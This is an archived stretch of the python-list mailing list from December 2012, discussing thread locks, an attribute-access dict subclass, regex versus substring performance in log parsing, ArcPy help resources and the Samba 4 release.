else: camDict = {'Error': 'Camera Busy'} From ian.g.kelly at gmail.com Wed Dec 12 15:58:33 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 12 Dec 2012 13:58:33 -0700 Subject: Preventing tread collisions In-Reply-To: <50C8EEC8.8070300@mrabarnett.plus.com> References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> <50C8EEC8.8070300@mrabarnett.plus.com> Message-ID: On Wed, Dec 12, 2012 at 1:53 PM, MRAB wrote: > You could try a non-blocking semaphore: > > def __init__(self): > self.cameraActive = Semaphore() Why a Semaphore and not just a plain old Lock? From Michelle.Couden at txdot.gov Wed Dec 12 16:07:56 2012 From: Michelle.Couden at txdot.gov (Michelle Couden) Date: Wed, 12 Dec 2012 21:07:56 +0000 Subject: Help with Python/ArcPy Message-ID: Does anyone know of a website or forum where there is help for ArcPY (Python) programmers? ESRI's (GIS) resource center Forums are very busy and my questions go days without an answer. Any suggestions would be great. Thanks!! Michelle Couden TPP-T GIS Cartographer Certified GIS Analyst (512) 486-5136 Fax (512)486-5153 Michelle.Couden at txdot.gov Mind the road, not your business. [Logo] -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.jpg Type: image/jpeg Size: 3468 bytes Desc: image001.jpg URL: From python at mrabarnett.plus.com Wed Dec 12 16:13:34 2012 From: python at mrabarnett.plus.com (MRAB) Date: Wed, 12 Dec 2012 21:13:34 +0000 Subject: Preventing tread collisions In-Reply-To: References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> <50C8EEC8.8070300@mrabarnett.plus.com> Message-ID: <50C8F37E.4080401@mrabarnett.plus.com> On 2012-12-12 20:58, Ian Kelly wrote: > On Wed, Dec 12, 2012 at 1:53 PM, MRAB wrote: >> You could try a non-blocking semaphore: >> >> def __init__(self): >> self.cameraActive = Semaphore() > > Why a Semaphore and not just a plain old Lock? > Good point. I probably thought of a semaphore because the OP mentioned it first. :-) From dave at cinege.com Wed Dec 12 17:20:53 2012 From: dave at cinege.com (Dave Cinege) Date: Wed, 12 Dec 2012 17:20:53 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <201212102248.50766.dave@cinege.com> <201212121420.20184.dave@cinege.com> Message-ID: <201212121720.54027.dave@cinege.com> On Wednesday 12 December 2012 15:42:36 Ian Kelly wrote: > def __getattribute__(self, name): > if name.startswith('__') and name.endswith('__'): > return super(Thesaurus, self).__getattribute__(name) > return self.__getitem__(name) Ian, Tested, and works as you advertised. Isn't super() depreciated? I've replaced it with this: -return super(Thesaurus, self).__getattribute__(name) +return dict.__getattribute__(self, name) Aside from a more palatable result in the python shell for otherwise bad code...does this get me anything else? Is it really worth the performance hit of 2 string comparisons for every getattribute call? I also just reviewed all your original comments again: In general: The recursion code is nothing special to me and I finally settled on the nested try's as something simple that 'just works good for now'. I think the concept of what I'm doing here is the big idea. Should the idea of implementing what Thesaurus does in mainline python ever happen, those 10 lines of code will likely spark a 3 month jihad about how to properly do in python which up until now hasn't been something you do in python. To me for i in range(len(l)) seems like simpler, faster, tighter code for this now. It's duly noted that enumerate() is more python and I'm an old fart that still thinks too much in state machine. I've add except Exception per your advise. What I'd really like to hear is that someone reading was curious enough to convert some existing code and their joy or displeasure with the experience. Dave From victorhooi at gmail.com Wed Dec 12 17:35:41 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Wed, 12 Dec 2012 14:35:41 -0800 (PST) Subject: Using regexes versus "in" membership test? Message-ID: <56f4fbf5-36e6-40d0-b832-e29f8a67190b@googlegroups.com> Hi, I have a script that trawls through log files looking for certain error conditions. These are identified via certain keywords (all different) in those lines I then process those lines using regex groups to extract certain fields. Currently, I'm using a for loop to iterate through the file, and a dict of regexes: breaches = { 'type1': re.compile(r'some_regex_expression'), 'type2': re.compile(r'some_regex_expression'), 'type3': re.compile(r'some_regex_expression'), 'type4': re.compile(r'some_regex_expression'), 'type5': re.compile(r'some_regex_expression'), } ... with open('blah.log', 'r') as f: for line in f: for breach in breaches: results = breaches[breach].search(line) if results: self.logger.info('We found an error - {0} - {1}'.format(results.group('errorcode'), results.group('errormsg')) # We do other things with other regex groups as well. (This isn't the *exact* code, but it shows the logic/flow fairly closely). For completeness, the actual regexes look something like this: Also, my regexs could possibly be tuned, they look something like this: (?P\d{2}:\d{2}:\d{2}.\d{9})\s*\[(?P\w+)\s*\]\s*\[(?P\w+)\s*\]\s*\[{0,1}\]{0,1}\s*\[(?P\w+)\s*\]\s*level\(\d\) broadcast\s*\(\[(?P\w+)\]\s*\[(?P\w+)\]\s*(?P\w{4}):(?P\w+) failed order: (?P\w+) (?P\d+) @ (?P[\d.]+), error on update \(\d+ : Some error string. Active Orders=(?P\d+) Limit=(?P\d+)\)\) (Feel free to suggest any tuning, if you think they need it). My question is - I've heard that using the "in" membership operator is substantially faster than using Python regexes. Is this true? What is the technical explanation for this? And what sort of performance characteristics are there between the two? (I couldn't find much in the way of docs for "in", just the brief mention here - http://docs.python.org/2/reference/expressions.html#not-in ) Would I be substantially better off using a list of strings and using "in" against each line, then using a second pass of regex only on the matched lines? (Log files are compressed, I'm actually using bz2 to read them in, uncompressed size is around 40-50 Gb). Cheers, Victor From ian.g.kelly at gmail.com Wed Dec 12 18:12:58 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Wed, 12 Dec 2012 16:12:58 -0700 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212121720.54027.dave@cinege.com> References: <201212102248.50766.dave@cinege.com> <201212121420.20184.dave@cinege.com> <201212121720.54027.dave@cinege.com> Message-ID: On Wed, Dec 12, 2012 at 3:20 PM, Dave Cinege wrote: > On Wednesday 12 December 2012 15:42:36 Ian Kelly wrote: > >> def __getattribute__(self, name): >> if name.startswith('__') and name.endswith('__'): >> return super(Thesaurus, self).__getattribute__(name) >> return self.__getitem__(name) > > Ian, > > Tested, and works as you advertised. > > Isn't super() depreciated? I've replaced it with this: > -return super(Thesaurus, self).__getattribute__(name) > +return dict.__getattribute__(self, name) It's not deprecated. Some people consider it harmful, and others disagree. I was once in the former camp but have shifted somewhat toward the latter. > Aside from a more palatable result in the python shell for otherwise bad > code...does this get me anything else? Is it really worth the performance hit > of 2 string comparisons for every getattribute call? It could affect real code, not just interactive code. Any time you unthinkingly choose an attribute name that happens to be the name of a dict method (e.g. 'items', which otherwise seems like a rather innocent variable name), that's a potential bug. Depending on how that attribute is subsequently accessed, the bug might not even be noticed immediately. The performance hit compared to the __getattr__ version on my system is about 1.3 microseconds per call, as measured by timeit, or around 40%. For comparison, the performance hit of using the __getattr__ version versus just using a global variable is about 1.7 microseconds per call, or around 4000%. For my own use, I don't consider that substantial enough to worry about, as I'm not in the business of writing code that would be making hundreds of thousands of accesses per second. > Should the idea of implementing what Thesaurus does in mainline python ever > happen, those 10 lines of code will likely spark a 3 month jihad about how to > properly do in python which up until now hasn't been something you do in > python. The basic idea of proxying attribute access on a dict to key lookup is pretty common, actually. It likely won't ever make it into the standard library because 1) there's no clear agreement on what it should look like; 2) it's easy to roll your own; and 3) it looks too much like JavaScript. That last probably isn't valid; attribute proxying is annoying and cumbersome when it automatically happens on every single object in the language; it's much more manageable when you have a single type like Thesaurus that you can use only in the instances where you actually want it. > To me for i in range(len(l)) seems like simpler, faster, tighter code for this > now. It's duly noted that enumerate() is more python and I'm an old fart that > still thinks too much in state machine. I've add except Exception per your > advise. Your intuition about what "seems faster" can lead you astray. Using Python 2.7: >>> timerD = timeit.Timer('for i in range(len(seq)): x = seq[i]', 'seq = range(5)') >>> timerE = timeit.Timer('for i, x in enumerate(seq): pass', 'seq = range(5)') >>> min(timerD.repeat(3)) 0.8711640725291545 >>> min(timerE.repeat(3)) 0.7172601545726138 Of course, that's running each loop a million times, so the difference here really is pretty negligible. From breamoreboy at yahoo.co.uk Wed Dec 12 18:40:47 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Wed, 12 Dec 2012 23:40:47 +0000 Subject: samba 4 release In-Reply-To: <50C8C139.3080703@gmail.com> References: <50C8C0FC.1060501@gmail.com> <50C8C139.3080703@gmail.com> Message-ID: On 12/12/2012 17:39, peter wrote: > On 12/12/2012 02:38 PM, peter wrote: >> Hellou. >> >> Samba4 first release, with python interface for the internals api, >> and a implementation of the DC in python :). >> >> Viva la python!!!! > I forgot to put the link of the good news > > https://www.samba.org/samba/history/samba-4.0.0.html > Awesome!!! But what the **** is it??? -- Cheers. Mark Lawrence. From contact at xavierho.com Wed Dec 12 18:42:46 2012 From: contact at xavierho.com (Xavier Ho) Date: Thu, 13 Dec 2012 10:42:46 +1100 Subject: Help with Python/ArcPy In-Reply-To: References: Message-ID: You can always try http://stackoverflow.com/search?q=ArcPY, or post your question there. Cheers, Xav On 13 December 2012 08:07, Michelle Couden wrote: > Does anyone know of a website or forum where there is help for ArcPY > (Python) programmers? ESRI?s (GIS) resource center Forums are very busy and > my questions go days without an answer. Any suggestions would be great. > Thanks!!**** > > ** ** > > ** ** > > ** ** > > *Michelle Couden* > > TPP-T GIS Cartographer**** > > Certified GIS Analyst**** > > (512) 486-5136**** > > Fax (512)486-5153**** > > Michelle.Couden at txdot.gov**** > > ** ** > > Mind the road, not your business.**** > > [image: Logo]**** > > ** ** > > ** ** > > ** ** > > ** ** > > -- > http://mail.python.org/mailman/listinfo/python-list > > -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.jpg Type: image/jpeg Size: 3468 bytes Desc: not available URL: From breamoreboy at yahoo.co.uk Wed Dec 12 18:47:20 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Wed, 12 Dec 2012 23:47:20 +0000 Subject: Hollow square program In-Reply-To: References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Message-ID: On 12/12/2012 17:52, siimnurges at gmail.com wrote: > Thanks, got it now :) > Please quote something in context for future readers. Roughly translated THE ONLY GOOD GOOGLE USER IS A DEAD GOOGLE USER -- Cheers. Mark Lawrence. From breamoreboy at yahoo.co.uk Wed Dec 12 18:56:24 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Wed, 12 Dec 2012 23:56:24 +0000 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212121313.32196.dave@cinege.com> References: <20121212052511.293728de@dilbert> <201212121313.32196.dave@cinege.com> Message-ID: On 12/12/2012 18:13, Dave Cinege wrote: > On Wednesday 12 December 2012 05:25:11 D'Arcy J.M. Cain wrote: > > As a 16yr OSS vet I know that for every 1 person that that actually creates > something there will always be 2000 people to bitch about it. My skin isn't > thin, I just don't give a shit to listen to anyone one that doesn't get it. > > The point to Thesaurus for those that want to pay attention: > The concept in these ~25 lines of code have changed the way I program Python > and reduced existing functionally identical code up to 30%...and I like the > code better. > > If that doesn't peak your interest, then move on...nothing here for you to > see. Please don't place responses like this. The Python community prides itself on tolerance. If you don't wish to follow that recommendation please go to an alternative site. -- Cheers. Mark Lawrence. From steve+comp.lang.python at pearwood.info Wed Dec 12 19:12:09 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 00:12:09 GMT Subject: Hollow square program References: <1aa414f0-1e4c-424b-abc6-8e681631788b@googlegroups.com> <1ab10bb2-9036-414b-af24-0a3d2d32c9d2@googlegroups.com> Message-ID: <50c91d58$0$29972$c3e8da3$5496439d@news.astraweb.com> On Wed, 12 Dec 2012 23:47:20 +0000, Mark Lawrence wrote: > THE ONLY GOOD GOOGLE USER IS A DEAD GOOGLE USER > > I say, that's a bit much. That crosses a line from a friendly contempt for ignorant Gmail users to something rather nasty. Preemptive apology or not, I don't think that is acceptable here. -- Steven From tjreedy at udel.edu Wed Dec 12 19:14:40 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 12 Dec 2012 19:14:40 -0500 Subject: Python parser problem In-Reply-To: <50C8D6B3.40207@gmail.com> References: <50C8D6B3.40207@gmail.com> Message-ID: On 12/12/2012 2:10 PM, RCU wrote: > I would like to report a parser bug manifesting on Python 2.5, 2.7 > (but not on 2.2) and 3.3. You are not the first to erroneously attribute a problem to Python itself. But seriously, the interpreter itself is so thoroughly tested on a daily basis that you should assume that a reported SyntaxError is real. > Please see the attached script. > Basically this bug appeared after applying PythonTidy on a valid > script. PythonTidy is much more likely to be buggy than Python itself. > More exactly, when running: > python -c "import iCam_GIT5_5" > I get: > Traceback (most recent call last): > File "", line 1, in > File "iCam_GIT5_5.py", line 60 > > ^ > SyntaxError: invalid syntax SyntaxErrors are sometimes reported on the line after they occur, especially when the error is at the very end of the line and not obvious until /n is read. > The "\" used in the script to break the line in 2 is a reminiscence > of running PythonTidy-1.22.python (so fixing this bug would be directly > relevant when using PythonTidy). A '\' used to break a line MUST be the last character in the line. Dave explained how your editor and PythonTidy together made a bug. > With this occasion I would like to ask also what are the limits of > the Python 2.x and 3.x parser. Where can I find what are the limits on > the size/lines of the parsed script? Python, the language has no limits. Implementations will, but they are larger than you will every write by hand. Auto-generated code that, for instance, nests a tuple more than 2**16 levels deep may have problems. -- Terry Jan Reedy From steve+comp.lang.python at pearwood.info Wed Dec 12 19:15:08 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 00:15:08 GMT Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes References: <20121212052511.293728de@dilbert> <201212121313.32196.dave@cinege.com> Message-ID: <50c91e0c$0$29972$c3e8da3$5496439d@news.astraweb.com> On Wed, 12 Dec 2012 23:56:24 +0000, Mark Lawrence wrote: > Please don't place responses like this. The Python community prides > itself on tolerance. If you don't wish to follow that recommendation > please go to an alternative site. Well, I must say, I think that you've just won an award for Most Cognitive Dissonance Exhibited In The Shortest Time. I'm not sure how you can yell at somebody that Google users should be dead in one post, and then nine minutes later say this. -- Steven From steve+comp.lang.python at pearwood.info Wed Dec 12 19:18:42 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 00:18:42 GMT Subject: samba 4 release References: <50C8C0FC.1060501@gmail.com> <50C8C139.3080703@gmail.com> Message-ID: <50c91ee2$0$29972$c3e8da3$5496439d@news.astraweb.com> On Wed, 12 Dec 2012 23:40:47 +0000, Mark Lawrence wrote: > On 12/12/2012 17:39, peter wrote: >> On 12/12/2012 02:38 PM, peter wrote: >>> Hellou. >>> >>> Samba4 first release, with python interface for the internals api, >>> and a implementation of the DC in python :). >>> >>> Viva la python!!!! >> I forgot to put the link of the good news >> >> https://www.samba.org/samba/history/samba-4.0.0.html >> >> > Awesome!!! But what the **** is it??? You don't have access to the web where you are? :-) Copied from https://www.samba.org/ [quote] Samba is the standard Windows interoperability suite of programs for Linux and Unix. Samba is Free Software licensed under the GNU General Public License, the Samba project is a member of the Software Freedom Conservancy. Since 1992, Samba has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others. Samba is an important component to seamlessly integrate Linux/Unix Servers and Desktops into Active Directory environments using the winbind daemon. [end quote] -- Steven From torriem at gmail.com Wed Dec 12 19:18:43 2012 From: torriem at gmail.com (Michael Torrie) Date: Wed, 12 Dec 2012 17:18:43 -0700 Subject: samba 4 release In-Reply-To: References: <50C8C0FC.1060501@gmail.com> <50C8C139.3080703@gmail.com> Message-ID: <50C91EE3.1040707@gmail.com> On 12/12/2012 04:40 PM, Mark Lawrence wrote: > Awesome!!! But what the **** is it??? Are you serious? You honestly don't know what one of the oldest, most widely used piece of open source software it and what it does? Samba is at least as well-known and important as Apache, if not more so. You can be forgiven if you don't know what a DC is... That's a "Domain Controller" and it forms the central core of an MS Active Directory setup (users/group info, authentication, user/group policies, client machine policies. Now if we could just get an Exchange replacement that actually doesn't suck... From steve+comp.lang.python at pearwood.info Wed Dec 12 19:30:38 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 00:30:38 GMT Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes References: <201212102248.50766.dave@cinege.com> <201212121420.20184.dave@cinege.com> Message-ID: <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> On Wed, 12 Dec 2012 17:20:53 -0500, Dave Cinege wrote: > Isn't super() depreciated? Heavens no. super() is the recommended way to do inheritance, and the *only* way to correctly do multiple inheritance[1]. What makes you think that it has been deprecated? [...] > To me for i in range(len(l)) seems like simpler, faster, tighter code > for this now. It's not. It is more complex, slower, less direct code. Python is not C, or Fortran, or whatever low-level language you cut your teeth on and get your intuitions from. [steve at ando ~]$ python -m timeit -s "L = list('abcdefghij')" "for i in range(len(L)): c = L[i] pass" 1000000 loops, best of 3: 1.67 usec per loop [steve at ando ~]$ python -m timeit -s "L = list('abcdefghij')" "for i,c in enumerate(L): pass" 1000000 loops, best of 3: 1.39 usec per loop That's only a small performance speedup, but the real advantages are: * the version with enumerate is much more general: it works with data structures where the length is expensive to calculate, lazy data streams where the length is impossible to know up front, and infinite data streams; * the version with enumerate makes the intent more clear: since we care about looping over the items, we should iterate over the items directly, not over their indices; * it is more readable and maintainable: both loop variables (the index and the item) are defined in the same place, the start of the for-loop, instead of one in the header and one in the body. > What I'd really like to hear is that someone reading was curious enough > to convert some existing code and their joy or displeasure with the > experience. I don't have any code with nested dicts where this would make a difference. If I had such code, I would be looking to redesign it so that I could avoided the nested dicts, not find a palliative. The Zen of Python is a useful guide to general design principles: py> import this The Zen of Python, by Tim Peters [...] Flat is better than nested. Errors should never pass silently. Unless explicitly silenced. In the face of ambiguity, refuse the temptation to guess. Your Thesaurus class violates too many of these principles for it to be of interest to me. Having spent a good hour or so playing around with it in the interactive interpreter, it is too hard for me to reason about what it is doing (especially since your description of what it does is actively misleading), and too hard to predict under what circumstances it will fail. Short code is not necessarily simple code, and I find your class too magical and complicated to be interested in using it in production code as it stands now. [1] Well, technically there's another way: one might reimplement the functionality of super() in your own code, and avoid using super() while having all the usual joys of reinventing the wheel. -- Steven From steve+comp.lang.python at pearwood.info Wed Dec 12 19:33:01 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 00:33:01 GMT Subject: samba 4 release References: <50C8C0FC.1060501@gmail.com> <50C8C139.3080703@gmail.com> Message-ID: <50c9223d$0$29972$c3e8da3$5496439d@news.astraweb.com> On Wed, 12 Dec 2012 17:18:43 -0700, Michael Torrie wrote: > Now if we could just get an Exchange replacement that actually doesn't > suck... But but but... if it didn't contain sufficient levels of suckage, it would hardly be a replacement for Exchange, would it?!?!? :-P -- Steven From georger.silva at gmail.com Wed Dec 12 19:37:24 2012 From: georger.silva at gmail.com (George Silva) Date: Wed, 12 Dec 2012 22:37:24 -0200 Subject: Help with Python/ArcPy In-Reply-To: References: Message-ID: even better gis.stackexchange.com On Wed, Dec 12, 2012 at 9:42 PM, Xavier Ho wrote: > You can always try http://stackoverflow.com/search?q=ArcPY, or post your > question there. > > Cheers, > Xav > > > > On 13 December 2012 08:07, Michelle Couden wrote: > >> Does anyone know of a website or forum where there is help for ArcPY >> (Python) programmers? ESRI?s (GIS) resource center Forums are very busy and >> my questions go days without an answer. Any suggestions would be great. >> Thanks!!**** >> >> ** ** >> >> ** ** >> >> ** ** >> >> *Michelle Couden* >> >> TPP-T GIS Cartographer**** >> >> Certified GIS Analyst**** >> >> (512) 486-5136**** >> >> Fax (512)486-5153**** >> >> Michelle.Couden at txdot.gov**** >> >> ** ** >> >> Mind the road, not your business.**** >> >> [image: Logo]**** >> >> ** ** >> >> ** ** >> >> ** ** >> >> ** ** >> >> -- >> http://mail.python.org/mailman/listinfo/python-list >> >> > > -- > http://mail.python.org/mailman/listinfo/python-list > > -- George R. C. Silva Desenvolvimento em GIS http://geoprocessamento.net http://blog.geoprocessamento.net -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.jpg Type: image/jpeg Size: 3468 bytes Desc: not available URL: From steve+comp.lang.python at pearwood.info Wed Dec 12 20:09:33 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 01:09:33 GMT Subject: Using regexes versus "in" membership test? References: <56f4fbf5-36e6-40d0-b832-e29f8a67190b@googlegroups.com> Message-ID: <50c92acd$0$29972$c3e8da3$5496439d@news.astraweb.com> On Wed, 12 Dec 2012 14:35:41 -0800, Victor Hooi wrote: > Hi, > > I have a script that trawls through log files looking for certain error > conditions. These are identified via certain keywords (all different) in > those lines > > I then process those lines using regex groups to extract certain fields. [...] > Also, my regexs could possibly be tuned, they look something like this: > > (?P\d{2}:\d{2}:\d{2}.\d{9})\s*\[(?P\w+)\s* \]\s*\[(?P\w+)\s*\]\s*\[{0,1}\]{0,1}\s*\[(?P\w+)\s*\] \s*level\(\d\) broadcast\s*\(\[(?P\w+)\]\s*\[(?P\w+)\] \s*(?P\w{4}):(?P\w+) failed order: (?P\w+) (? P\d+) @ (?P[\d.]+), error on update \(\d+ : Some error string. Active Orders=(?P\d+) Limit=(?P\d+)\)\) > > (Feel free to suggest any tuning, if you think they need it). "Tuning"? I think it needs to be taken out and killed with a stake to the heart, then buried in concrete! :-) An appropriate quote: Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. -- Jamie Zawinski Is this actually meant to be a single regex, or did your email somehow mangle multiple regexes into a single line? At the very least, you should write your regexes using the VERBOSE flag, so you can use non-significant whitespace and comments. There is no performance cost to using VERBOSE once they are compiled, but a huge maintainability benefit. > My question is - I've heard that using the "in" membership operator is > substantially faster than using Python regexes. > > Is this true? What is the technical explanation for this? And what sort > of performance characteristics are there between the two? Yes, it is true. The technical explanation is simple: * the "in" operator implements simple substring matching, which is trivial to perform and fast; * regexes are an interpreted mini-language which operate via a complex state machine that needs to do a lot of work, which is complicated to perform and slow. Python's regex engine is not as finely tuned as (say) Perl's, but even in Perl simple substring matching ought to be faster, simply because you are doing less work to match a substring than to run a regex. But the real advantage to using "in" is readability and maintainability. As for the performance characteristics, you really need to do your own testing. Performance will depend on what you are searching for, where you are searching for it, whether it is found or not, your version of Python, your operating system, your hardware. At some level of complexity, you are better off just using a regex rather than implementing your own buggy, complicated expression matcher: for some matching tasks, there is no reasonable substitute to regexes. But for *simple* uses, you should prefer *simple* code: [steve at ando ~]$ python -m timeit \ > -s "data = 'abcd'*1000 + 'xyz' + 'abcd'*1000" \ > "'xyz' in data" 100000 loops, best of 3: 4.17 usec per loop [steve at ando ~]$ python -m timeit \ > -s "data = 'abcd'*1000 + 'xyz' + 'abcd'*1000" \ > -s "from re import search" \ > "search('xyz', data)" 100000 loops, best of 3: 10.9 usec per loop > (I couldn't find much in the way of docs for "in", just the brief > mention here - > http://docs.python.org/2/reference/expressions.html#not-in ) > > Would I be substantially better off using a list of strings and using > "in" against each line, then using a second pass of regex only on the > matched lines? That's hard to say. It depends on whether you are matching on a substring that will frequently be found close to the start of each line, or something else. Where I expect you *will* see a good benefit is: * you have many lines to search; * but only a few actually match the regex; * the regex is quite complicated, and needs to backtrack a lot; * but you can eliminate most of the "no match" cases with a simple substring match. If you are in this situation, then very likely you will see a big benefit from a two-pass search: for line in log: if any(substr in line for substr in list_of_substrings): # now test against a regex Otherwise, maybe, maybe not. -- Steven From rosuav at gmail.com Wed Dec 12 20:14:08 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 13 Dec 2012 12:14:08 +1100 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> References: <201212102248.50766.dave@cinege.com> <201212121420.20184.dave@cinege.com> <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Thu, Dec 13, 2012 at 11:30 AM, Steven D'Aprano wrote: > On Wed, 12 Dec 2012 17:20:53 -0500, Dave Cinege wrote: >> To me for i in range(len(l)) seems like simpler, faster, tighter code >> for this now. > > * the version with enumerate makes the intent more clear: since we > care about looping over the items, we should iterate over the > items directly, not over their indices; To add to this: Using enumerate gives the possibility (don't know if any current interpreter takes advantage or not, but a future one certainly could) that the enumerate() call could be optimized out. Yes, it's theoretically possible that someone could redefine enumerate, which would be broken by such an optimization. But all it'd take is some kind of directive-based optimization and voila, safe performance improvements. Example code used: >>> def foo(x): for i,val in enumerate(x): print("x[%d] = %s"%(i,str(val))) >>> def foo(x): for i in range(len(x)): val=x[i] print("x[%d] = %s"%(i,str(val))) A simple look at dis.dis() for the above two functions disproves the "faster". Steven has already disproven the "simpler" and "tighter". (I would like, though, to see a key-providing iteration as a standard feature. Looking at dis.dis() for the above examples and also at a simple iteration over a dictionary's .items(), I'm seeing what looks like a lot of effort to deal with the fact that iterators return a stream of items, rather than a stream of keys and values. But it's probably not worth changing now.) ChrisA From dave at cinege.com Wed Dec 12 20:30:00 2012 From: dave at cinege.com (Dave Cinege) Date: Wed, 12 Dec 2012 20:30:00 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <201212102248.50766.dave@cinege.com> <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: <201212122030.00739.dave@cinege.com> On Wednesday 12 December 2012 20:14:08 Chris Angelico wrote: Ok enough already, I'll use the frigging thing! Be happy I'm at least still not coding for python 1.5. > To add to this: Using enumerate gives the possibility (don't know if > any current interpreter takes advantage or not, but a future one > certainly could) that the enumerate() call could be optimized out. > Yes, it's theoretically possible that someone could redefine > enumerate, which would be broken by such an optimization. But all it'd > take is some kind of directive-based optimization and voila, safe > performance improvements. From tjreedy at udel.edu Wed Dec 12 20:36:51 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 12 Dec 2012 20:36:51 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> References: <201212102248.50766.dave@cinege.com> <201212121420.20184.dave@cinege.com> <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: On 12/12/2012 7:30 PM, Steven D'Aprano wrote: > On Wed, 12 Dec 2012 17:20:53 -0500, Dave Cinege wrote: > >> Isn't super() depreciated? > > Heavens no. super() is the recommended way to do inheritance, and the > *only* way to correctly do multiple inheritance[1]. Indeed. Rather than super() being deprecated, it was made easier to use in 3.x by being special cased during compilation. Notice the difference of signatures: 2.7: super(type[, object-or-type]) 3.3: super([type[, object-or-type]]) "The zero argument form only works inside a class definition, as the compiler fills in the necessary details to correctly retrieve the class being defined, as well as accessing the current instance for ordinary methods." > [1] Well, technically there's another way: one might reimplement the > functionality of super() in your own code, and avoid using super() while > having all the usual joys of reinventing the wheel. This deeper integration means that it could not be completely reimplemented in Python ;-). -- Terry Jan Reedy From dave at cinege.com Wed Dec 12 20:42:27 2012 From: dave at cinege.com (Dave Cinege) Date: Wed, 12 Dec 2012 20:42:27 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes - v20121212 In-Reply-To: <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> References: <201212102248.50766.dave@cinege.com> <50c921ae$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: <201212122042.28124.dave@cinege.com> Version 20121212 -------------- next part -------------- A non-text attachment was scrubbed... Name: thesaurus.py Type: text/x-python Size: 2991 bytes Desc: not available URL: From dave at cinege.com Wed Dec 12 20:46:12 2012 From: dave at cinege.com (Dave Cinege) Date: Wed, 12 Dec 2012 20:46:12 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <201212102248.50766.dave@cinege.com> Message-ID: <201212122046.12832.dave@cinege.com> On Monday 10 December 2012 23:08:24 Jason Friedman wrote: > 2) Posting your code at ActiveState.com. If someone wants to please do. I'm back to being completely overloaded with normal work now. The v20121212 release based on the last few days comments is as far as I will go with this now. Dave From tjreedy at udel.edu Wed Dec 12 20:51:03 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 12 Dec 2012 20:51:03 -0500 Subject: samba 4 release In-Reply-To: <50c91ee2$0$29972$c3e8da3$5496439d@news.astraweb.com> References: <50C8C0FC.1060501@gmail.com> <50C8C139.3080703@gmail.com> <50c91ee2$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: On 12/12/2012 7:18 PM, Steven D'Aprano wrote: > On Wed, 12 Dec 2012 23:40:47 +0000, Mark Lawrence wrote: > >> On 12/12/2012 17:39, peter wrote: >>> On 12/12/2012 02:38 PM, peter wrote: >>>> Hellou. >>>> >>>> Samba4 first release, with python interface for the internals api, >>>> and a implementation of the DC in python :). >>>> >>>> Viva la python!!!! >>> I forgot to put the link of the good news >>> >>> https://www.samba.org/samba/history/samba-4.0.0.html Which has the following: Python Scripting Interface ========================== A new scripting interface has been added to Samba 4, allowing Python programs to interface to Samba's internals, and many tools and internal workings of the DC code is now implemented in python. which is indeed great news for Pythonistas who work with Samba. > > Awesome!!! But what the **** is it??? > > You don't have access to the web where you are? :-) > > Copied from https://www.samba.org/ > > [quote] > Samba is the standard Windows interoperability suite of programs for > Linux and Unix. > > Samba is Free Software licensed under the GNU General Public License, the > Samba project is a member of the Software Freedom Conservancy. > > Since 1992, Samba has provided secure, stable and fast file and print > services for all clients using the SMB/CIFS protocol, such as all > versions of DOS and Windows, OS/2, Linux and many others. > > Samba is an important component to seamlessly integrate Linux/Unix > Servers and Desktops into Active Directory environments using the winbind > daemon. > [end quote] As I understand, Active Directory is the center, so to speak, of a Windows server universe. The Wikipedia entry may be clearer than some of Microsoft's pages. -- Terry Jan Reedy From 